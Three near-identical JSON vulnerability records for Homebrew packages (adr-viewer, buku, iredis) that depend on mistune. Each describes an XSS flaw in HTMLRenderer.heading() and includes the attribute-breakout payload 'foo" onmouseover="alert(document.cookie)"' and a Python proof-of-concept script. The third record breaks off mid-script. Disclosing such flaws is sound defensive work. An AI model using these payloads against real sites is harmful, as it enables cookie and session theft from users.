{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "adr-viewer",
        "purl": "pkg:brew/adr-viewer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.4.0_5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-adr-viewer-CVE-2026-44897",
  "modified": "2026-09-18T14:56:30Z",
  "published": "2026-08-13T16:35:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "buku",
        "purl": "pkg:brew/buku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1"
            },
            {
              "fixed": "5.1_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-buku-CVE-2026-44897",
  "modified": "2026-09-18T15:06:13Z",
  "published": "2026-08-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.3",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "iredis",
        "purl": "pkg:brew/iredis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.4"
            },
            {
              "fixed": "1.16.1_2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.3",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.3"
      }
    ]
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] 